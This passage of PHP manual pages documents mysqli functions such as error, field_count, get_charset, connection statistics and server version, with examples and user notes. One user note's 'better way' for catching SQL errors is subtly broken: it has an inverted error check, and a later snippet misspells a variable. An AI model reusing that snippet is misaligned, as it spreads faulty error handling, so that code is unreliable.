$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}

if (!$mysqli->query("SET a=1")) {
    printf("Errormessage: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if (!mysqli_query($link, "SET a=1")) {
    printf("Errormessage: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Errormessage: Unknown system variable 'a'

See Also

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a string description of the last connect error
  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

asmith16 at littlesvr dot ca 02-Nov-2013 08:42
Please note that the string returned may contain data initially provided by the user, possibly making your code vulnerable to XSS.

So even if you escape everything in your SQL query using mysqli_real_escape_string(), make sure that if you plan to display the string returned by mysqli_error() you run that string through htmlspecialchars().

As far as I can tell the two escape functions don't escape the same characters, which is why you need both (the first for SQL and the second for HTML/JS).
jlarsen at fsu dot edu 28-Mar-2010 10:21
try/catch on $mysqli->query
doesn't catch most SQL errors, you should use $mysqli->error
se (at) brainbits (dot) net 20-Apr-2006 02:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com 24-Jan-2006 11:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
    try {
        throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
    } catch(Exception $e ) {
        echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
        echo nl2br($e->getTraceAsString());
    }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com 13-Jan-2006 11:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
    $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
    print "Error Code <br>".$e->getCode();
    print "Error Message <br>".$e->getMessage();
    print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}


Returns the number of columns for the most recent query

  • « mysqli::$error
  • mysqli::get_charset »
  • PHP Manual
  • mysqli
  • Returns the number of columns for the most recent query

mysqli::$field_count

mysqli_field_count

(PHP 5)

mysqli::$field_count -- mysqli_field_count — Returns the number of columns for the most recent query

Description

Object oriented style

int $mysqli->field_count;

Procedural style

int mysqli_field_count ( mysqli $link )

Returns the number of columns for the most recent query on the connection represented by the link parameter. This function can be useful when using the mysqli_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer representing the number of fields in a result set.

Examples

Example #1 $mysqli->field_count example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query("SELECT * FROM friends");

if ($mysqli->field_count) {
    /* this was a select/show or describe query */
    $result = $mysqli->store_result();

    /* process resultset */
    $row = $result->fetch_row();

    /* free resultset */
    $result->close();
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, "SELECT * FROM friends");

if (mysqli_field_count($link)) {
    /* this was a select/show or describe query */
    $result = mysqli_store_result($link);

    /* process resultset */
    $row = mysqli_fetch_row($result);

    /* free resultset */
    mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

User Contributed Notes

dedlfix 18-Jul-2006 07:26
There are MYSQLI_TYPE_* constants for the type property (listed in http://php.net/manual/en/ref.mysqli.php).

e.g.
<?php
if ($finfo->type == MYSQLI_TYPE_VAR_STRING)
  // a VARCHAR


Returns a character set object

  • « mysqli::$field_count
  • mysqli::get_client_info »
  • PHP Manual
  • mysqli
  • Returns a character set object

mysqli::get_charset

mysqli_get_charset

(PHP 5 >= 5.1.0)

mysqli::get_charset -- mysqli_get_charset — Returns a character set object

Description

Object oriented style

object mysqli::get_charset ( void )

Procedural style

object mysqli_get_charset ( mysqli $link )

Returns a character set object providing several properties of the current active character set.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

The function returns a character set object with the following properties:

charset

Character set name

collation

Collation name

dir

Directory the charset description was fetched from (?) or "" for built-in character sets

min_length

Minimum character length in bytes

max_length

Maximum character length in bytes

number

Internal character set number

state

Character set status (?)

Examples

Example #1 mysqli::get_charset() example

Object oriented style

<?php
  $db = mysqli_init();
  $db->real_connect("localhost","root","","test");
  var_dump($db->get_charset());
?>

Procedural style

<?php
  $db = mysqli_init();
  mysqli_real_connect($db, "localhost","root","","test");
  var_dump($db->get_charset());
?>

The above examples will output:

object(stdClass)#2 (7) {
  ["charset"]=>
  string(6) "latin1"
  ["collation"]=>
  string(17) "latin1_swedish_ci"
  ["dir"]=>
  string(0) ""
  ["min_length"]=>
  int(1)
  ["max_length"]=>
  int(1)
  ["number"]=>
  int(8)
  ["state"]=>
  int(801)
}

See Also

  • mysqli_character_set_name() - Returns the default character set for the database connection
  • mysqli_set_charset() - Sets the default client character set

User Contributed Notes

There are no user contributed notes for this page.


Get MySQL client info

  • « mysqli::get_charset
  • mysqli_get_client_stats »
  • PHP Manual
  • mysqli
  • Get MySQL client info

mysqli::get_client_info

mysqli_get_client_info

(PHP 5)

mysqli::get_client_info -- mysqli_get_client_info — Get MySQL client info

Description

Object oriented style

string mysqli::get_client_info ( void )

Procedural style

string mysqli_get_client_info ( mysqli $link )

Returns a string that represents the MySQL client library version.

Return Values

A string that represents the MySQL client library version

Examples

Example #1 mysqli_get_client_info

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

See Also

  • mysqli_get_client_version() - Returns the MySQL client version as an integer
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns client per-process statistics

  • « mysqli::get_client_info
  • mysqli_get_client_version »
  • PHP Manual
  • mysqli
  • Returns client per-process statistics

mysqli_get_client_stats

(PHP 5 >= 5.3.0)

mysqli_get_client_stats — Returns client per-process statistics

Description

array mysqli_get_client_stats ( void )

Returns client per-process statistics. Available only with mysqlnd.

Parameters

Return Values

Returns an array with client stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_client_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_client_stats());
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

There are no user contributed notes for this page.


Returns the MySQL client version as an integer

  • « mysqli_get_client_stats
  • mysqli::get_connection_stats »
  • PHP Manual
  • mysqli
  • Returns the MySQL client version as an integer

mysqli_get_client_version

mysqli::$client_version

(PHP 5)

mysqli_get_client_version -- mysqli::$client_version — Returns the MySQL client version as an integer

Description

Object oriented style

int $mysqli->client_version;

Procedural style

int mysqli_get_client_version ( mysqli $link )

Returns client version number as an integer.

Return Values

A number that represents the MySQL client library version in format: main_version*10000 + minor_version *100 + sub_version. For example, 4.1.0 is returned as 40100.

This is useful to quickly determine the version of the client library to know if some capability exits.

Examples

Example #1 mysqli_get_client_version

<?php

/* We don't need a connection to determine
   the version of mysql client library */

printf("Client library version: %d\n", mysqli_get_client_version());
?>

See Also

  • mysqli_get_client_info() - Get MySQL client info
  • mysqli_get_server_info() - Returns the version of the MySQL server
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns statistics about the client connection

  • « mysqli_get_client_version
  • mysqli::$host_info »
  • PHP Manual
  • mysqli
  • Returns statistics about the client connection

mysqli::get_connection_stats

mysqli_get_connection_stats

(PHP 5 >= 5.3.0)

mysqli::get_connection_stats -- mysqli_get_connection_stats — Returns statistics about the client connection

Description

Object oriented style

bool mysqli::get_connection_stats ( void )

Procedural style

array mysqli_get_connection_stats ( mysqli $link )

Returns statistics about the client connection. Available only with mysqlnd.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an array with connection stats if success, FALSE otherwise.

Examples

Example #1 A mysqli_get_connection_stats() example

<?php
$link = mysqli_connect();
print_r(mysqli_get_connection_stats($link));
?>

The above example will output something similar to:

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

See Also

  • Stats description

User Contributed Notes

ulf dot wendel at phpdoc dot de 11-Jun-2013 10:09
It is not correct that the same information can be obtained from the server. For example, the server will not give you information about client side memory usage.
HockeyInJune 13-Sep-2009 12:13
While this function is only available if you're using the PHP MySQL Native Driver, you can get the same statistics without this function by using the MySQL SHOW STATUS Query.

Use 'SHOW SESSION STATUS;' for statistics about the current MySQL session.

Use 'SHOW GLOBAL STATUS;' for totals since the server was started.

After you have established a connection with the MySQL Server:

<?php
$result = $mysqli->query('SHOW SESSION STATUS;', MYSQLI_USE_RESULT);
while ($row = $result->fetch_assoc()) {
    $array[$row['Variable_name']] = $row['Value'];
}
$result->close();
print_r($array);
?>


Returns a string representing the type of connection used

  • « mysqli::get_connection_stats
  • mysqli::$protocol_version »
  • PHP Manual
  • mysqli
  • Returns a string representing the type of connection used

mysqli::$host_info

mysqli_get_host_info

(PHP 5)

mysqli::$host_info -- mysqli_get_host_info — Returns a string representing the type of connection used

Description

Object oriented style

string $mysqli->host_info;

Procedural style

string mysqli_get_host_info ( mysqli $link )

Returns a string describing the connection represented by the link parameter (including the server host name).

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing the server hostname and the connection type.

Examples

Example #1 $mysqli->host_info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", $mysqli->host_info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print host information */
printf("Host info: %s\n", mysqli_get_host_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Host info: Localhost via UNIX socket

See Also

  • mysqli_get_proto_info() - Returns the version of the MySQL protocol used

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL protocol used

  • « mysqli::$host_info
  • mysqli::$server_info »
  • PHP Manual
  • mysqli
  • Returns the version of the MySQL protocol used

mysqli::$protocol_version

mysqli_get_proto_info

(PHP 5)

mysqli::$protocol_version -- mysqli_get_proto_info — Returns the version of the MySQL protocol used

Description

Object oriented style

string $mysqli->protocol_version;

Procedural style

int mysqli_get_proto_info ( mysqli $link )

Returns an integer representing the MySQL protocol version used by the connection represented by the link parameter.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an integer representing the protocol version.

Examples

Example #1 $mysqli->protocol_version example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", $mysqli->protocol_version);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print protocol version */
printf("Protocol version: %d\n", mysqli_get_proto_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Protocol version: 10

See Also

  • mysqli_get_host_info() - Returns a string representing the type of connection used

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server

  • « mysqli::$protocol_version
  • mysqli::$server_version »
  • PHP Manual
  • mysqli
  • Returns the version of the MySQL server

mysqli::$server_info

mysqli_get_server_info

(PHP 5)

mysqli::$server_info -- mysqli_get_server_info — Returns the version of the MySQL server

Description

Object oriented style

string $mysqli->server_info;

Procedural style

string mysqli_get_server_info ( mysqli $link )

Returns a string representing the version of the MySQL server that the MySQLi extension is connected to.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing the server version.

Examples

Example #1 $mysqli->server_info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", $mysqli->server_info);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %s\n", mysqli_get_server_info($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Server version: 4.1.2-alpha-debug

See Also

  • mysqli_get_client_info() - Get MySQL client info
  • mysqli_get_client_version() - Returns the MySQL client version as an integer
  • mysqli_get_server_version() - Returns the version of the MySQL server as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of the MySQL server as an integer

  • « mysqli::$server_info
  • mysqli::get_warnings »
  • PHP Manual
  • mysqli
  • Returns the version of the MySQL server as an integer

mysqli::$server_version

mysqli_get_server_version

(PHP 5)

mysqli::$server_version -- mysqli_get_server_version — Returns the version of the MySQL server as an integer

Description

Object oriented style

int $mysqli->server_version;

Procedural style

int mysqli_get_server_version ( mysqli $link )

The mysqli_get_server_version() function returns the version of the server connected to (represented by the link parameter) as an integer.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

An integer representing the server version.

The form of this version number is main_version * 10000 + minor_version * 100 + sub_version (i.e. version 4.1.0 is 40100).

Examples

Example #1 $mysqli->server_version example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", $mysqli->server_version);

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* print server version */
printf("Server version: %d\n", mysqli_get_server_version($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Server version: 40102

See Also

  • mysqli_get_client_info() - Get MySQL client info
  • mysqli_get_client_version() - Returns the MySQL client version as an integer
  • mysqli_get_server_info() - Returns the version of the MySQL server

User Contributed Notes

There are no user contributed notes for this page.


Get result of SHOW WARNINGS

  • « mysqli::$server_version
  • mysqli::$info »
  • PHP Manual
  • mysqli
  • Get result of SHOW WARNINGS

mysqli::get_warnings

mysqli_get_warnings

(PHP 5 >= 5.1.0)

mysqli::get_warnings -- mysqli_get_warnings — Get result of SHOW WARNINGS

Description

Object oriented style

mysqli_warning mysqli::get_warnings ( void )

Procedural style

mysqli_warning mysqli_get_warnings ( mysqli $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

Anonymous 05-Mar-2014 05:36
Take note:
Calling this function will change the output of mysqli_affected_rows if any warnings are returned. So if you're using mysqli_affected_rows in your application, make sure to call it before calling mysqli_get_warnings.
marcus at synchromedia dot co dot uk 19-Aug-2009 11:02
With a bit of rooting about with reflection, I spotted that the mysqli_warning class has a next() function, so I tried calling it and it does indeed progress through the available warnings! Following on from my earlier example:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
$j = mysqli_warning_count($db);
if ($j > 0) {
    $e = mysqli_get_warnings($db);
    for ($i = 0; $i < $j; $i++) {
        var_dump($e);
        $e->next();
    }
}
?>

There is a simple way of traversing the warnings:

<?php
$r = mysqli_query($db, "INSERT INTO blah SET z = '1'");
if (mysqli_warning_count($db)) {
   $e = mysqli_get_warnings($db);
   do {
       echo "Warning: $e->errno: $e->message\n";
   } while ($e->next());
}
?>
marcus at synchromedia dot co dot uk 19-Aug-2009 04:13
I'm not sure how useful this function is as implemented. Take this example:

CREATE TABLE `blah` (
  `x` varchar(100) NOT NULL,
  `y` varchar(100) NOT NULL,
  `z` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

INSERT INTO blah SET z = '1';
Query OK, 1 row affected, 2 warnings (0.00 sec)

mysql> show warnings;
+---------+------+----------------------------------------+
| Level   | Code | Message                                |
+---------+------+----------------------------------------+
| Warning | 1364 | Field 'x' doesn't have a default value |
| Warning | 1364 | Field 'y' doesn't have a default value |
+---------+------+----------------------------------------+

Doing the same from PHP using mysqli_get_warnings(), you get this instead:

object(mysqli_warning)#4 (3) {
  ["message"]=>
  string(38) "Field 'x' doesn't have a default value"
  ["sqlstate"]=>
  string(5) "HY000"
  ["errno"]=>
  int(1364)
}

i.e. it only returns the first warning. I suspect it should return an array of these objects rather than just one. At least you know what the return value looks like now, since the docs don't say!


Retrieves information about the most recently executed query

  • « mysqli::get_warnings
  • mysqli::init »
  • PHP Manual
  • mysqli
  • Retrieves information about the most recently executed query

mysqli::$info

mysqli_info

(PHP 5)

mysqli::$info -- mysqli_info — Retrieves information about the most recently executed query

Description

Object oriented style

string $mysqli->info;

Procedural style

string mysqli_info ( mysqli $link )

The mysqli_info() function returns a string providing information about the last query executed. The nature of this string is provided below:

Possible mysqli_info return values
Query type | Example result string
INSERT INTO...SELECT... | Records: 100 Duplicates: 0 Warnings: 0
INSERT INTO...VALUES (...),(...),(...) | Records: 3 Duplicates: 0 Warnings: 0
LOAD DATA INFILE ... | Records: 1 Deleted: 0 Skipped: 0 Warnings: 0
ALTER TABLE ... | Records: 3 Duplicates: 0 Warnings: 0
UPDATE ... | Rows matched: 40 Changed: 40 Warnings: 0

Note:

Queries which do not fall into one of the preceding formats are not supported. In these situations, mysqli_info() will return an empty string.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A character string representing additional information about the most recently executed query.

Examples

Example #1 $mysqli->info example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
